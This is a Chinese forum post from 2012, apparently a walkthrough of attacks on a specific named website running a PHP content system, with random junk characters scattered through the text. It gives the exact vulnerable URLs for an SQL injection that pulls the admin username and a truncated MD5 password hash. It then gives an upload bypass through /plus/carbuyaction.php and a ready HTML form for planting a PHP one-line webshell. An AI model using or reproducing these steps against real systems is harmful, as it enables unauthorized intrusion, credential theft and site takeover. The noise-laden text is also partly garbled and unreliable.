①注入漏洞。2 y. f2 ?# h* k4 j* G
这站 http://www.political-security.com/
; ^9 X( W5 B S# b首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，! ~: ?* I, b( r' ?5 E3 o* _5 u4 V
www.political-security.com/data/mysql_error_trace.inc 爆后台
" X* e c/ q9 ]) r0 J# y2 D; h然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。! C: U0 O& g, ]! {; V+ R
然后写上语句 . ?7 P5 K1 z4 _3 c8 }/ @
查看管理员帐号9 K0 }% j9 A- l" `# X
http://www.political-security.co ... &membergroup=@`
4 x# }8 k8 {* x. p& k8 {8 p% n5 F* S! a# S
admin
# R$ l& r, j; P- N- ?
9 c" L1 h k0 L ?5 F$ Z7 Q% t* X查看管理员密码
/ b$ ]: G$ g; j; N/ f, U) @# A http://www.political-security.co ... &membergroup=@`, z- |0 o$ M, b0 }& s
" T* k) B& G) ?) o. S9 j8d29b1ef9f8c5a5af429, n0 |, H6 @* [. {3 M2 v
! @* D1 C: D: @' T( E$ _查看管理员密码( a8 ]; r% K% ]+ q' u& j, n- m9 S
' H* p: @4 s; C8 Q4 m/ f, K9 T
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5
$ x- @+ `0 s0 P+ r6 d$ A9 v! y) o7 ^0 e9 U y) A9 n
8d2
t: r. T- q, O/ s9b1ef9f8c5a5af42
8 O4 V6 b6 i, w98 b. K9 A; o( B: `3 x P& r
( n; g( T9 A+ j# W+ [cmd5没解出来 只好测试第二个方法9 {) F) ]9 Z9 q8 V" g9 T
: q& k7 M7 @( s/ R4 Q/ k3 u
* C/ ~2 A- {- t+ ]9 z
②上传漏洞：& x6 v' ^* O( G4 J
! Y3 _+ y+ I' A只要登陆会员中心，然后访问页面链接! t0 _+ I0 O: Z4 k( o
“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”
$ R2 L+ w$ c& k& k* m0 `0 [8 v% C# {! H, W4 o1 e" w0 M) W8 x
如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”7 E0 |& ]* |9 E' C
6 Q( p# y4 N4 i9 r4 D
于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
, n3 Y( ]1 P7 }8 S
% r# M* F& h" x6 @<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
* [' o3 Q k& I2 _或者
2 G; O0 \) D# l0 H, j即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对